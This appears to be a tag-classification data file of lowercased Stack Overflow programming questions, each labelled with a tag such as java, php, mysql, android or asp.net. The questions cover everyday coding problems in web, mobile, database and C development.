java app’s system try icon not showing after window login <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1509158/java-1-6-systemtray-icon-does-not-appear-on-windows-startup >java 1.6 systemtray icon does not appear on windows startup</a>    </blockquote>     i have java application it creates the system try icon in window os. when i start manually it run fine. but now i put my application to window startup mean my application should run when window boot without login.    but problem is my application started and perform there tasks but it not adding the system tray icon when some one login.     and even i notice that on window boot up my application is successfully creating the trayicon object  creating menuitem  adding in popup and even adding the tray icon <code>tray.add(trayicon);</code> even no any exception on window bootup  but when i login     it’s not showing on system try along with time  land card icons.    i want that it should create the try icon when some one login same like when we logged in lancard tray icon appears.    thanks regards,java
why is my panel is not refreshing   this is the first time i writing something in asp.net :)     i have wrote some control that contain button and panel.  when pressing the button - some action ( delegate ) is call ==> this  action call some web service ( asynchronous call using task ) and  when i get the response from the web service i call the  callback method that according to the web service answer  i change the back color of the panel.    but even when i stop on the breakpoint of the callback ( the color change of the control ) - i don t see that the panel back color is changes.     i try to change it from the browser - and i succeed to change it i also able to change the color from the asp design page.    i don t have any clue why the panel color is not change.  how can i solve it       the control code==>   <pre><code>&lt;%@ control language= c#  autoeventwireup= true   codebehind= trafficlights.ascx.cs  inherits= control1  %&gt; </code></pre>      <pre><code>&lt;asp:label id= label1  runat= server  width= 131px  height= 40px       cssclass= site.css  style= margin: 10px  font-underline= true  /&gt;  &lt;asp:panel height= 10  runat= server  /&gt;   &lt;asp:panel id= panel1  runat= server  height= 80px  width= 180px  horizontalalign= center /&gt;   &lt;asp:button id=actionbutton cssclass= site.css   runat= server       backcolor= azure  width= 120px  heigh= 40px  text= action  style= margin-left: 30px; height: 26px;  onclick= actionbutton_click   /&gt; </code></pre>      <pre><code>public enum color_     {         red          yellow          green     };      public color_ color_a     {         set         {             switch( value )             {                 case color_.red:                     {                         panel1.backcolor = color.red;                     }                     break;                 case color_.yellow:                     {                         panel1.backcolor = color.yellow;                     }                     break;                 case color_.green:                     {                         panel1.backcolor = color.green;                     }                     break;             }         }     }       protected void actionbutton_click( object sender  eventargs e )     {         if( actiononbuttonclickevent != null )         {             actiononbuttonclickevent.invoke();         }     } </code></pre>,asp.net
replace string with usable chars (slugify)  i want to use this code to convert the string  müller  to  muller .   <pre><code>$test =  müller ;  function slugify($str) {  $search = array( á    à    â    ä    ă    ā    ã    å    ą    æ    ć    ċ    ĉ    č    ç    ď    đ    ð    é    è    ė    ê    ë    ě    ē    ę    ə    ġ    ĝ    ğ    ģ    á    à    â    ä    ă    ā    ã    å    ą    æ    ć    ċ    ĉ    č    ç    ď    đ    ð    é    è    ė    ê    ë    ě    ē    ę    ə    ġ    ĝ    ğ    ģ    ĥ    ħ    i    í    ì    i̇    î    ï    ī    į    ĳ    ĵ    ķ    ļ    ł    ń    ň    ñ    ņ    ó    ò    ô    ö    õ    ő    ø    ơ    œ    ĥ    ħ    ı    í    ì    i    î    ï    ī    į    ĳ    ĵ    ķ    ļ    ł    ń    ň    ñ    ņ    ó    ò    ô    ö    õ    ő    ø    ơ    œ    ŕ    ř    ś    ŝ    š    ş    ť    ţ    þ    ú    ù    û    ü    ŭ    ū    ů    ų    ű    ư    ŵ    ý    ŷ    ÿ    ź    ż    ž    ŕ    ř    ś    ŝ    š    ş    ß    ť    ţ    þ    ú    ù    û    ü    ŭ    ū    ů    ų    ű    ư    ŵ    ý    ŷ    ÿ    ź    ż    ž );  $replace = array( a    a    a    a    a    a    a    a    a    ae    c    c    c    c    c    d    d    d    e    e    e    e    e    e    e    e    g    g    g    g    g    a    a    a    a    a    a    a    a    a    ae    c    c    c    c    c    d    d    d    e    e    e    e    e    e    e    e    g    g    g    g    g    h    h    i    i    i    i    i    i    i    i    ij    j    k    l    l    n    n    n    n    o    o    o    o    o    o    o    o    ce    h    h    i    i    i    i    i    i    i    i    ij    j    k    l    l    n    n    n    n    o    o    o    o    o    o    o    o    o    r    r    s    s    s    s    t    t    t    u    u    u    u    u    u    u    u    u    u    w    y    y    y    z    z    z    r    r    s    s    s    ss    b    t    t    b    u    u    u    u    u    u    u    u    u    u    w    y    y    y    z    z    z );  $str = str_ireplace($search  $replace  strtolower(trim($str))); $str = preg_replace( /[^\w\d\-\ ]/       $str); $str = str_replace(      -   $str); return preg_replace( /\-{2 }    -   $str); }  slugify($test); </code></pre>   but the problem is  that the variable $test echos s still  müller .,php
css: target misc html elements inside same element  is it possible to sinthesize this css code...   <pre><code>#myid p  #myid h1  #myid h2  #myid h3  #myid h4  #myid h5  #myid h6  {} </code></pre>   ... into one simple rule  i m scratching my head on this one... :p    thanx    pedro,css
mysql inserts performance dropdown  i have multiprocess script inserting ~30k byte data into mysql myisam table (id  timestamp  data). on the beginning everything is going very fast  but after a while (about 20-30 seconds) insert times are increasing from couple ms to 1-2 seconds.    i ve noticed that about that time mysql is writing data to disk  after that i have again good performance for a while. i tried setting bulk insert buffer size to different values but with no effect.    is there a way to force mysql to write more often but in smaller batches  or is there another way of keeping inserting speed on one level,mysql
jquery how to set data on html content   i have a variable s that contains string   <pre><code> &lt;div&gt;hello world&lt;/div&gt;  </code></pre>   (i cannot change the content of s)    i would like to set data on s i tried:    <pre><code>$(s).data( value   50); $($(s)).data( value   50); </code></pre>   any idea     <pre><code>s =  &lt;div&gt;hello world&lt;/div&gt; ; s = $(s).data( value   50); // works now !!! console.log($(s).data( value )); </code></pre>,jquery
how can i create a new html page with the name of title  by using forms in html  how to create a new html page by using forms in html or javascript. i want to use the title for the page name and url..,html
update tableview with regular time intervals in iphone  i have created  a sample application. it has fetched data from server for every 1 sec and updated the result in uitableview. i had already done. but it crashes my app rapidly. what i do is call nstimer every sec.   <pre><code>timer = [nstimer scheduledtimerwithtimeinterval:1                                          target:self                                         selector:@selector(mainloop)                                         userinfo:nil repeats:yes]; </code></pre>   in that timer function i have called nsthread function.   <pre><code>-(void)mainloop {   if(ispreviousthreadfinished)   {     nslog(@ thread opened );     ispreviousthreadfinished = no;     [nsthread detachnewthreadselector:@selector(mainloopthread) totarget:self  withobject:nil];   } }    -(void)mainloopthread {  mainlooppool=[[nsautoreleasepool alloc]init];  //get data from the server  [self performselectoronmainthread:@selector(updatetable) withobject:nil waituntildone:yes];   [mainlooppool release]; }  -(void)updatetable {     [self.tableview reloaddata];     ispreviousthreadfinished = yes;     nslog(@ thread closed );  } </code></pre>   it works fine. and reloads data correctly from the server. i stop nstimer in <code>viewwilldisappear</code> method. when i go to previous page sometimes it crashes application. in console i have seen the error is given below    <pre><code>bool _webtrythreadlock(bool)  0xb2aa410: tried to obtain the web lock from a thread other than the main thread or the web thread. this may be a result of calling to uikit from a secondary thread. crashing now... </code></pre>   what is wrong with my code  crashes appear randomly.,iphone
using multiple sums in a single select like a foreach loop or case  i have this mysql query that returns a break down of sales of a certain product_id.    i d like to expand this query to include multiple product_ids.    heres what i have that gives me 1 product_id:   <pre><code>select o.customer_id  o.companyname  cg.category  o.order_id  sum(old.linetotal) as total  sum(old.qty) as pid  count(o.order_id) as oids  from orders o left join order_linedetails old on old.order_id = o.order_id left join customerdetails cd on o.customer_id = cd.customer_id left join _customercategory cg on cg.category_id = cd.category_id  where o.ispending = 0 and o.orderplaceservertime &gt;=  2012-1-1  and o.orderplaceservertime &lt;=  2012-9-1  and o.isvoid = 0 and old.product_id =  56789    group by o.customer_id order by total desc limit 10 </code></pre>   i m trying to add somthing to do more than 1 product_id and get the sums of them as well.    this is the idea i was looking at  but obviosley this does not work.   <pre><code>(case when old.product_id =  56789           sum(old.linetotal) as total_56789          sum(old.qty) as pid_56789) </code></pre>   this would repeat based on how many products i was after.    hopfully this makes sense.    any suggestions     edit::    here s an example of what i d like to get back.    <img src= https://i.stack.imgur.com/8pb0j.jpg  alt= enter image description here >,mysql
how to stretch and center image in ie (css)   here s my code: <a href= http://jsfiddle.net/kht8z/8/  rel= nofollow >http://jsfiddle.net/kht8z/8/</a> it s written that way cause ie don t support css s background-size. i want to stretch the images center the thumbnail image proportionally with width 100% and to center it. how to do that (i want it to work in ie6),css
how to combined between  easy silder  &  prety photo  jquery plugins   i have a problem put 2 jquery scripts in one page. only one is working until i remove the second script the other working. here is the code of easy slider   <pre><code>&lt;script type= text/javascript  src= js/jquery.js &gt;&lt;/script&gt; </code></pre>        $(document).ready(function(){     $( #slider ).easyslider({     auto: true       continuous: true    });   });    i put it in the head tags.    and here is pretty photo script i put it before the end of body tag.   <pre><code>&lt;script type= text/javascript  charset= utf-8 &gt; </code></pre>   $(document).ready(function(){    $( a[rel^= prettyphoto ] ).prettyphoto();   });   wish anybody can give me answer to make both of them work in same page. here is my website you can check the problem <a href= http://www.osmanassem.com/  rel= nofollow noreferrer >http://www.osmanassem.com/</a> thank you,jquery
ios lazytableimages in storyboard  how to convert iphone lazytableimages from .xib file to using storyboard   or any sample code using storyboard which are similiar to lazytableimages. the source code from <a href= https://developer.apple.com/library/ios/#samplecode/lazytableimages/introduction/intro.html  rel= nofollow >https://developer.apple.com/library/ios/#samplecode/lazytableimages/introduction/intro.html</a>,ios
textview:shadowdx/dy/radius in dip   how can we specify a textview s shadowdx/dy/radius values in dip  right now i have:   <pre><code>&lt;style name= foo &gt;   &lt;item name= android:shadowdx &gt;-1&lt;/item&gt;   &lt;item name= android:shadowdy &gt;-1&lt;/item&gt;   &lt;item name= android:shadowradius &gt;1&lt;/item&gt; &lt;/style&gt; </code></pre>   i can t seem to specify  1dip  in these places. is there a way to do it other than setting them in code and doing the device density multiplication ourselves     thanks,android
object error in python 3.4 in code  i keep getting this error:   <pre><code>&lt;__main__.product object at 0x0231a7b0&gt; </code></pre>   from the code:   <pre><code>    def prnt(self):          print( \n********************************************************** )         print(self.prntlist())          print( grand total\t\t\t\t$   self.setprice())         print( **********************************************************\n )      def prntlist(self):         x =            for i in self.cartlist:             x = i   /n          return x </code></pre>   instead of executing the function prntlist it displays that error    full code:   <pre><code>class product(object):     name =        price = 0      def __init__(self  name  price):         self.name = name         self.price = price      def prnt(self):         print( \n********************************************************** )         print( item\t\t\t   price )         print(self.name  ............ $   self.price)         print( \n********************************************************** )      def prntline(self):         x = self.name +  ..........  + self.price         return x  class cart(object):     totalprice = 0     cartlist = []      def __init__(self):         self.totalprice = totalprice         self.cartlist = []      def setprice(self):         totprice = self.totalprice         for i in self.cartlist:             self.totalprice += i.price         return totprice      def prnt(self):          print( \n********************************************************** )         print(self.prntlist())         print( grand total\t\t\t\t$   self.setprice())         print( **********************************************************\n )      def prntlinecart(self):         print( you have purchased:    self.prntlist())      def prntlist(self):         x =            for i in self.cartlist:             x = i   /n          return x      def additem(self  item):         self.cartlist.append(item)         print( ah  fresh out. but we can have it shipped to your house next week ) </code></pre>,python
ng-repeat commented showing in internet explorer while working fine on others angularjs <pre><code>[    {        user_id :95507         social_id :null         type :2         spr_id :0         link_confirmed :null         sp :[          {              id : 131556                user_id : 95507                spr_id : 1           }           {              id : 131557                user_id : 95507                spr_id : 2           }           {              id : 131558                user_id : 95507                spr_id : 3           }           {              id : 131559                user_id : 95507                spr_id : 4           }           {              id : 131560                user_id : 95507                spr_id : 5           }           {              id : 131561                user_id : 95507                spr_id : 7           }       ]    }     {        user_id :95509         social_id :null         type :3         spr_id :1         link_confirmed :null         sp :[        ]    }     {        user_id :95510         social_id :null         type :3         spr_id :1         link_confirmed :null         sp :[        ]    }     {        user_id :95512         social_id :null         type :2         spr_id :0         link_confirmed :null         sp :[          {              id : 131569                user_id : 95512                spr_id : 1           }           {              id : 131570                user_id : 95512                spr_id : 2           }           {              id : 131571                user_id : 95512                spr_id : 3           }       ]    }     {        user_id :95513         social_id :null         type :3         spr_id :1         link_confirmed :null         sp :[        ]    }     {        user_id :96276         social_id :null         type :3         spr_id :1         link_confirmed :null         sp :[        ]    }     {        user_id :96277         social_id :null         type :3         spr_id :1         link_confirmed :null         sp :[        ]    } ] </code></pre>   <strong>html</strong>   <pre><code>&lt;tr ng-repeat= profile in profile_users | filter: { link_confirmed :  !  } | filter: filterexpressions track by $index &gt;     &lt;td&gt;{{ profile.user_id }}&lt;/td&gt;     &lt;span ng-repeat= spd in profile.sp track by $index &gt;         {{ (profile.type == 2)   ($index &gt;= 0 &amp;&amp; profile.sp.length - 1 &amp;&amp;  $last-1)   sp[spd.spr_id] +      : sp[spd.spr_id] :    }}     &lt;/span&gt;     &lt;/td&gt; &lt;/tr&gt; </code></pre>   <code>ng-repeat</code> commented showing in internet explorer while working fine on others angularjs don t know why i did not changes does not work for me. please assist me how can i fix this  thanks in advance    updated the json formatted for better understanding please take a look now let me know where i m wrong    note this is only in internet explorere nothing seems wrong with other browser,angularjs
hide & show image when mouse over  i am working on pictures inside asp.net (vb) and try to make this picture hide when the mouse over and show if it mouse out how can i do this without using script or jquery      help me please,asp.net
onpreferencechangelistener unreachable code  i m developing my first app that add tweaks to local.prop from /data. i use preferenceactivity that implements onpreferencechangelistener. i detect the key by findpreference.    this is the code:   <pre><code>public boolean onpreferencechange(preference preference  object newvalue) {     string key = preference.getkey();     if ( first_key .equals(key) &amp;&amp; !((checkboxpreference) preference).ischecked()) {         // code     }     if ( second_key .equals(key) &amp;&amp; !((checkboxpreference) preference).ischecked()) {         // code     } } </code></pre>   everything is ok since i add the second if (second_key). the error is  unreachable code . please  help me! what i did wrong,android
multidex crash below 5.0  my application working fine with 5.0 and above but if i intall in bewow 5.0 it crah after i use multidex library   <pre><code>    android {     compilesdkversion 22     buildtoolsversion  23.0.0            defaultconfig {              minsdkversion 14 //lower than 14 doesn t support multidex              targetsdkversion 22               // enabling multidex support.              multidexenabled true          }     }      dependencies {     compile  com.android.support:multidex:1.0.1      }       public class myapplication extends application {      @override     protected void oncreate(context base) {           multidex.install(this);      }     } </code></pre>,android
rails `find_by` returning huge id  curious if anyone knows the intricacies of <code>find_by</code> since i ve checked documentation and been unable to find info.    i know that <code>find</code> is used to find by primary keys like: <code>@user = user.find(params[:id])</code>  returning the correct user.    before i corrected my code it was <code>@user = user.find_by(params[:id])</code> and returned a user with an id way above the number of users in my db.    can anyone help me understand what is happening under the hood  what does find_by search by default when a parameter is omitted that is returning this strange user object,ruby-on-rails
permission in shmget() function in c  i have a quick question regarding <code>shmget()</code> function in c.  the program is very simple.  it asks user to enter a shmid  and it out puts key  mode  owner etc.    i am using <code>buffer-&gt;shm_perm.mode</code> to get the permission but its giving the permissions in octal form (960  etc).  is there any way i can change it so it shows permission like  <strong>rwx</strong>      thanks,c
c# timer getting stopped after some time  i am using this code for a c# service   somefuction  should run after every 6 minutes  but after some 30 minutes its getting stopped.    what i m missing here  i want it to run till my service is running  please help :(   <pre><code>var timer = new system.threading.timer((e) =&gt;         {             try             { somefunction(arg1  arg2  arg3); }             catch             { return;}          }  null  0  360000); </code></pre>,c#
asp.net how to recreate the following html in a gridview  hey i am trying to recreate the following html   <pre><code>&lt;table border= 0  cellspacing= 0  cellpadding= 2  width= 100%  id= productlisttable &gt;     &lt;tr&gt;         &lt;th rowspan= 2 &gt;product name&lt;/th&gt;         &lt;th rowspan= 2  &gt;pack size&lt;/th&gt;         &lt;th rowspan= 2  &gt;trade price&lt;/th&gt;          &lt;th colspan= 2   style= border:none; &gt;discount&lt;/th&gt;         &lt;th rowspan= 2  &gt;actual price&lt;/th&gt;         &lt;th rowspan= 2 &gt;stock&lt;/th&gt;         &lt;th rowspan= 2 &gt;quantity&lt;/th&gt;     &lt;/tr&gt;     &lt;tr class= sub &gt;         &lt;th &gt;plc&lt;/th&gt;          &lt;th &gt;total&lt;/th&gt;     &lt;/tr&gt; </code></pre>   in my gridview the first tr is no problem as this can just be standard header text in my columns but i am wondering how i can add this sub tr   <pre><code>&lt;tr class= sub &gt;     &lt;th &gt;plc&lt;/th&gt;      &lt;th &gt;total&lt;/th&gt; &lt;/tr&gt; </code></pre>   and also how to add this style  to my existing column   <pre><code>&lt;th colspan= 2   style= border:none; &gt;discount&lt;/th&gt; </code></pre>   heres my gridview at the moment   <pre><code>&lt;asp:gridview id= productlisttable  runat= server  datasourceid= srcproductlistpercustomer  autogeneratecolumns= false  alternatingrowstyle-cssclass= tr_dark   headerstyle-cssclass= header_req  borderwidth= 0px  gridlines= none  allowpaging= true  pagesize= 25  emptydatatext= no records.  allowsorting= false  width= 100%  datakeynames= product_id_key  onrowdatabound= productlisttable_rowdatabound  onrowcommand= productlisttable_rowcommand   &gt;              &lt;columns&gt;                                      &lt;asp:templatefield headertext= product name  headerstyle-width= 250px  sortexpression= productname  itemstyle-cssclass= product_name  &gt;                 &lt;itemtemplate&gt;                    &lt;asp:label id= productnamefield  runat= server  text= &lt;%# eval( productname ).tostring() %&gt; &gt;&lt;/asp:label&gt;                 &lt;/itemtemplate&gt;                                  &lt;/asp:templatefield&gt;       &lt;/columns&gt;     &lt;columns&gt;                                      &lt;asp:templatefield headertext= pack size  headerstyle-width= 70px  sortexpression= packsize &gt;                 &lt;itemtemplate&gt;                   &lt;asp:label id= packsizefield  runat= server  text= &lt;%#  eval( packsize ).tostring()%&gt; &gt;&lt;/asp:label&gt;                 &lt;/itemtemplate&gt;                                  &lt;/asp:templatefield&gt;       &lt;/columns&gt;     &lt;columns&gt;                                      &lt;asp:templatefield headertext= trade price  headerstyle-width= 130px  sortexpression= address &gt;                 &lt;itemtemplate&gt;                    &lt;asp:label id= tradepricefield  runat= server  text= &lt;%#  displaymoney(eval( tradeprice ).tostring())%&gt; &gt;&lt;/asp:label&gt;                 &lt;asp:label id= tradepricefieldhidden  runat= server  text= &lt;%#  eval( tradeprice ).tostring()%&gt;  visible= false &gt;&lt;/asp:label&gt;                 &lt;/itemtemplate&gt;                                  &lt;/asp:templatefield&gt;       &lt;/columns&gt;     &lt;columns&gt;                                      &lt;asp:templatefield headertext= discount  headerstyle-width= 60px  sortexpression= discount &gt;                 &lt;itemtemplate&gt;                    &lt;asp:label id= discountfield  runat= server  text= &lt;%# eval( discount ).tostring() +  %  %&gt; &gt;&lt;/asp:label&gt;                 &lt;/itemtemplate&gt;                                  &lt;/asp:templatefield&gt;       &lt;/columns&gt;     &lt;columns&gt;                                      &lt;asp:templatefield headertext= actual price  headerstyle-width= 130px  sortexpression= actualprice &gt;                 &lt;itemtemplate&gt;                    &lt;asp:label id= actualpricefield  runat= server  text= &lt;%#  displaymoney(eval( actualprice ).tostring())%&gt; &gt;&lt;/asp:label&gt;                 &lt;/itemtemplate&gt;                                  &lt;/asp:templatefield&gt;       &lt;/columns&gt;     &lt;columns&gt;                                      &lt;asp:templatefield headertext= stock  headerstyle-width= 130px  sortexpression= stock_indicator &gt;                 &lt;itemtemplate&gt;                    &lt;asp:label id= stockfield  runat= server  text= &lt;%# displaystocklevel(eval( stock_indicator ).tostring()) %&gt; &gt;&lt;/asp:label&gt;                 &lt;/itemtemplate&gt;                                  &lt;/asp:templatefield&gt;       &lt;/columns&gt;      &lt;columns&gt;        &lt;asp:templatefield headertext= quantity &gt;                     &lt;itemtemplate&gt;                         &lt;asp:textbox runat= server  id= txtquantity  columns= 5 &gt;&lt;/asp:textbox&gt;&lt;br /&gt;                         &lt;asp:linkbutton runat= server  id= btnremove  text= remove  commandname= remove  commandargument= &lt;%# eval( product_id_key ) %&gt;  style= font-size:12px;  visible= false &gt;&lt;/asp:linkbutton&gt;                     &lt;/itemtemplate&gt;                 &lt;/asp:templatefield&gt;     &lt;/columns&gt;     &lt;headerstyle cssclass= header_req  /&gt;     &lt;alternatingrowstyle cssclass= tr_dark  /&gt;     &lt;pagerstyle cssclass= pagination  /&gt;     &lt;pagersettings pagebuttoncount= 3  firstpagetext= first  lastpagetext= last  nextpagetext= next  previouspagetext= previous  mode= numericfirstlast  /&gt;       &lt;/asp:gridview&gt; </code></pre>,asp.net
c basic menu driven program  gas calculator with no global variables  as part of an assignment i wrote a gas cost calculator. this program outputs the current mileage  and the total spent on gas.    here s my code :    <pre><code>#define _crt_secure_no_warnings #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define pause system( pause ) #define cls system( cls )  // declare variables float currentmilage = 0.0  pricepergallon = 0.0  mpg = 0.0  totalcost = 0.0;  // function to calculate the total cost void calculatetotalcost() {     totalcost=(currentmilage/mpg)*pricepergallon; }  //function to read input from user void userinput() {     printf( enter the current milage:  );     scanf( %f   &amp;currentmilage);      printf( enter the price per gallon:  );     scanf( %f   &amp;pricepergallon);      printf( enter the mpg:  );     scanf( %f   &amp;mpg);     calculatetotalcost(); }  // function to calculate the cost for trip float calculatecost(float miles) {     float cost;     cost=(miles/mpg)*pricepergallon;     return cost; }  //function to display cost void displaycost(float cost) {     printf( cost for trip: %.2f\n   cost); }  //function to update the current milage void updatecurrentmilage(float miles) {     currentmilage = currentmilage + miles; }  // function to calcuate the total spend on gas void updatetotalspend(float cost) {     totalcost=totalcost+cost; }  // function taketrip void taketrip() { // declare variables     float miles cost;  // read input from user     printf( enter the miles driven:  );     scanf( %f   &amp;miles);  // caliculate the total cost     cost=calculatecost(miles);  // display the cost     displaycost(cost);  // update the current milage     updatecurrentmilage(miles);  // update the total spend     updatetotalspend(cost); }  // function to display the menu int menu() {     int ch;      printf( \n\n );     printf( 1: take a trip\n );     printf( 2: display the current milage\n );     printf( 3: display the total spend\n );     printf( 4: exit\n );      printf( enter the choice:  );     scanf( %d  &amp;ch);     return ch; }  // function to display the current milage void displaycurrentmilage() {     printf( the current milage is %.2f\n  currentmilage); }  // function to display the total spend void displaytotalspend() {     printf( the total spend on gas is %.2f\n  totalcost); }  // main class int main() {     int ch=0;  // read the user input     userinput();  // while start     while(ch!=4) {         ch=menu();         switch(ch) {         case 1:             taketrip();              pause;             cls;              break;          case 2:             displaycurrentmilage();              pause;             cls;              break;          case 3:             displaytotalspend();              pause;             cls;              break;          case 4:             break;         }     } // while end      getchar();     return 0;  } // end main </code></pre>   the program works excellently  i just realized i am not allowed to use global variables or goto statements. the teacher said i must not use global variables  prototype the functions  and call functions passing values and returning stuff through the functions. how can i do this  thanks!,c
"how to centre a div in the remaining space when sliding in a div from the right  i have a page that will display an image (just a green div placeholder for now). i want to slide a div in from the right which will be a comments box and keep the image centred in the remaining space. if the image is too large for this remaining space i want to allow the user to scroll over the image horizontally.    i have this:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var showingcomments = false;
 
 $( #clickme ).click(function() {
   if (showingcomments == false) {
     showingcomments = true;
     $(this).parent().animate({
       right:  0px 
     }  {
       queue: false 
       duration: 500
     });
   } else {
     showingcomments = false;
     $(this).parent().animate({
       right:  -150px 
     }  {
       queue: false 
       duration: 500
     });
   }
 });</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#picture_container {
   width: auto;
   background-color: yellow;
   overflow-x: auto;
 }
 
 #thepicture {
   height: 300px;
   width: 400px;
   /* this will change when the page loads */
   background-color: green;
   left: 0px;
   right: 0px;
   margin-left: auto;
   margin-right: auto;
 }
 
 #commentsbox {
   background: #00ffff;
   position: absolute;
   width: 150px;
   height: 400px;
   right: -150px;
   top: 10px;
 }
 
 #clickme {
   position: absolute;
   top: 0;
   left: 0;
   height: 20px;
   width: 400px;
   background: #5f9ea0;
   text-align: center;
   transform: rotate(90deg);
   transform-origin: left top 0;
 }
 
 #comments {
   float: left;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;div id= picture_container &gt;
   picture container
   &lt;div id= thepicture &gt;
     the picture goes here
   &lt;/div&gt;
 &lt;/div&gt;
 
 &lt;div id= commentsbox &gt;
   &lt;div id= comments &gt;
     i am a sticky-out comments box
   &lt;/div&gt;
   &lt;div id= clickme &gt;
     click me!
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     example: <a href= https://jsfiddle.net/fwwfe2q6/  rel= nofollow noreferrer >https://jsfiddle.net/fwwfe2q6/</a>     as you can see the comments box pops out but it overlaps the image holder div instead of making it move left. can you suggest how to centre the green div (representing the image) in both the expanded and collapsed state of the comments box  and have the green div horizontally scrollable when it is too large to fit the window along with the expanded comments box",css
order rows and display order number  i already have a query which results like this   <pre><code>+-----------+------------+---------------+--------+ | detailsno |  saledate  | country       | value  | +-----------+------------+---------------+--------+ |       277 | 2012-02-10 | phi           |     42 | |       279 | 2012-02-10 | phi           |     10 | |       280 | 2012-02-10 | usa           |     30 | |       281 | 2012-02-10 | usa           |     25 | |       282 | 2012-02-10 | fra           |     65 | |       283 | 2012-02-10 | fra           |     36 | |       284 | 2012-02-10 | ger           |     47 | +-----------+------------+---------------+--------+ </code></pre>   what i need is to add another column and display a sort of order number like the following :    <pre><code>+-----------+------------+---------------+--------+--------+ | detailsno |  saledate  | country       | value  | order  | +-----------+------------+---------------+--------+--------+ |       277 | 2012-02-10 | phi           |     42 |      1 | |       279 | 2012-02-10 | phi           |     10 |      2 | |       280 | 2012-02-10 | usa           |     30 |      1 | |       281 | 2012-02-10 | usa           |     25 |      2 | |       282 | 2012-02-10 | fra           |     65 |      1 | |       283 | 2012-02-10 | fra           |     36 |      2 | |       284 | 2012-02-10 | ger           |     47 |      1 | +-----------+------------+---------------+--------+--------+ </code></pre>   is this possible,mysql
stop list cursoradapter for updating  i ve a listview that uses cursor adapter and it seems that the list automatically updates when there is new data in db. occassionally i would want to stop that from happening.    ps notifydatasetchanged is not called specifically from anywhere can someone tellme why is it still being updated,android
angularjs how to access local scope from outside function   i have this code in my service   <pre><code>ordersewaservice.vehicledetail = function (license_plate) {          //var defer = $q.defer();          var config = {             headers: {                  x-parse-application-id : parseappid             }              params: {                 where: {                     vehicle_license_plate: license_plate                      vehicle_status:  available                  }                  limit: 1                  include:  car_id.car_class_id pool_id.city_id partner_id.user_id                 }          }          return $http.get( http://128.199.249.233:1337/parse/classes/vehicle   config).then(function (response) {             var detail = {                 license_plate: response.data.results[0].vehicle_license_plate                  photo: response.data.results[0].vehicle_photo                  partner_name: response.data.results[0].partner_id.user_id.full_name                  year: response.data.results[0].vehicle_year                  class: response.data.results[0].car_id.car_class_id.name                  pool_address: response.data.results[0].pool_id.pool_address                  city: response.data.results[0].pool_id.city_id.city_name                  zone_id: response.data.results[0].zone_id.objectid                  car_class_id: response.data.results[0].car_id.car_class_id.objectid                      };              return detail;              //defer.resolve(detail);         }  function (error) {             //defer.reject(error);             return error;         });                       //return defer.promise;           }; </code></pre>   in my controller   <pre><code>$scope.vehicle = {};  ordersewaservice.vehicledetail($routeparams.license_plate).then(function(response){                 $scope.vehicle = response;//rendered in view                 console.log($scope.vehicle); //log object success             }  function (error) {                 console.log(error);             });              console.log($scope.vehicle); //doesn t work //empty object             //my goal is i will call other service function like this             ordersewaservice.infotarif($scope.vehicle.zone_id  $scope.vehicle.car_class_id).then(...); </code></pre>   already read this <a href= https://stackoverflow.com/questions/25307015/angularjs-how-to-access-scope-data-from-outside >access scope data from outside function</a> but looks like to complex or not suit for my simple goal.    how i can access <code>$scope.vehicle</code> outside function or how to achieve my goal      and i don t think <code>$rootscope</code> is good solution in this case.,angularjs
denying unauthorized users from editing a profile  i am trying to setup so that users will get a  not authorized  message if they click edit for a profile that is not theirs. this message should of course not appear for admins since admins can edit all profiles. i previously done this on permission.rb  however i got rid of the file to go with a more basic user roles/authorization.    i don t see how i can implement what i had previously on permission.rb for my current files. i have tried some solutions but they don t add up. if someone could point me in the right direction that will be great. also i am doing this all from scratch  user authentication/authorization.    index.html.erb:   <pre><code>&lt;% @users.each do |user| %&gt;     &lt;li&gt;         &lt;% if current_user.admin  || current_user == @user %&gt;         &lt;% end %&gt;         &lt;%= link_to  edit #{user} profile   user %&gt;              | &lt;%= link_to  delete   user  method: :delete                                            data: { confirm:  you sure  } %&gt;         &lt;/li&gt;         &lt;% end %&gt; </code></pre>,ruby-on-rails
mouse wheel press down input to shift hotkey  i m new learner of javascript and need help with how can i change the mouse wheel input. when the user press it down to hotkey shift     for example if the user presses the mouse wheel in any website sending ((shift)) value to the browser.,javascript
serialize makes variables from each character of input name  here is the form <a href= http://jsfiddle.net/39puk/  rel= nofollow >http://jsfiddle.net/39puk/</a> console.log shows the following data  got after .serialize():   <pre><code>product_id=1&amp;quantity=12&amp;price_base=1&amp;markup_k=1&amp;markup_a=0&amp;price=1&amp;sales=true&amp;priority=1&amp;offered=shipped&amp;date=&amp;distributor_id=22&amp;create_delivery=false&amp;delivery_date=&amp;delivery_quantity= </code></pre>   but firebug shows me <a href= http://savepic.net/4035933.htm  rel= nofollow >http://savepic.net/4035933.htm</a>   